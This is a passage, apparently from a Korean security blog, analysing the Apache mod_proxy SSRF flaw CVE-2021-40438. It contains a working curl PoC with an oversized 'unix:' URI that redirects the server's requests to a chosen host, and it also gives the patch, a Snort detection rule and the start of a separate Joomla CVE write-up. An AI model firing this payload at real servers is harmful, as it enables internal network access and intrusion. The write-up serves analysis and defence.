AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://google.com/"

[사진 3] curl 결과

 

- URL 직접 접근 시 마찬가지로 google.com으로 리다이렉트

[사진 4] URL 접근(위) 및 리다이텍트(아래)

 

- 위 패킷을 와이어 샤크로 확인해보면 [사진 5]와 같음

[사진 5] 와이어샤크 확인

2.2 분석

- 해당 취약점은 URI 검증 중 proxy_util.c의 "fix_uds_filename()" 함수에서 발생

- 해당 함수는 mod_proxy 내에서 UDS(Unix Domain Socket) 리디렉션을 결정하는 함수로 판단됨.

- 일반적으로 "unix:" 문자열을 URI 어딘가에 위치시킴으로써 리다이렉션에 사용할 실제 URI를 추출

- 이러한 URI는 Apache 내부적으로 생성되어야 하지만, 임의 도메인 소켓에 대한 접근이 가능함으로 인해 SSRF 취약점이 발생

[사진 6] 취약점 발생 위치

 

- 추가적으로, 공격을 위한 코드가 긴 이유는 길이 검증 연산인 APR_PATH_MAX에서 오류를 반환하기 위함.

[사진 7] APR_PATH_MAX

 

- 길이 검증에서 발생한 오류는 ap_runtime_dir_relative()에서 NULL을 반환

ap_runtime_dir_relative()는 [사진 6]의 fix_uds_filename()에 의해 호출되며, 반환된 값에 대한 추가 검증이 없음.

- 반환된 NULL 값은 공격자가 요청한 임의 URL로 덮어 쓰게 되는 것으로 판단됨. 즉, 오류를 통해 우회가 가능 

[사진 8] ap_runtime_dir_relative() 호출

 

2.3 PoC

- PoC의 구성은 다음과 같음

① source (취약한 서버)에 unix 매개변수의 값을 다수의 A로 덮어씀

② 2.2 분석에서 확인된 취약점과 오류를 통해 공격 대상 서버 (victim)로 요청이 리다이렉트 됨

curl "https://source/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|https://victim"

 

3. 대응방안

3.1 서버 측면

① Apache HTTP Server 2.4.49 버전 이상으로 업그레이드

- 패치 코드는 2277, 2278 라인을 통해 사용자 입력값에 대한 길이 검증을 수행하는 것으로 판단됨

[사진 9] 패치 코드

3.2 네트워크 측면

① 공개된 PoC를 통해 탐지 정책을 적용

- "?unix:"와 "|http"를 사용하는 것이 확인됨

- "3a", "7c"는 각각 ":", "|"와 대응됨

alert tcp any any -> any any (msg:"Apache HTTP Server SSRF (CVE-2021-40438)"; flow:established,from_client; urilen:>200; content:"GET"; http_method; content:"/?unix|3a|"; http_uri; nocase; fast_pattern; content:"|7c|http"; http_uri;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-40438

https://github.com/sixpacksecurity/CVE-2021-40438

https://www.wangan.com/p/7fygfy122c313bee

https://cydrill.com/owasp/apache-ssrf-an-all-you-can-eat-reverse-proxy/

https://github.com/apache/httpd/commit/520dcd80a45ce237e9a46ee28697e1b8af3fcd7e

https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html

- https://firzen.de/building-a-poc-for-cve-2021-40438

- https://koromoon.blogspot.com/2021/12/cve-2021-40438-apache-http-server.html

1. Joomla

- PHP로 작성된 오픈 소스 저작물 관리 시스템
- MySQL 데이터베이스를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 가짐

 

 2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2015-8562

- 세션 데이터에 조작된 User-Agent 문자열을 삽입하여 잘못된 세션 헨들러 로직을 통해 데이터베이스(utf8_general_ci)에 저장되는 취약점

- session_decode() 함수 버그(CVE-2015-6835)와 unserialize() 함수 버그(CVE-2015-0273)이 관련됨

영향받는 버전
- 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45

 

2.1 실습

- Joomla를 설치 하였으나, [사진 1] 에러가 발생

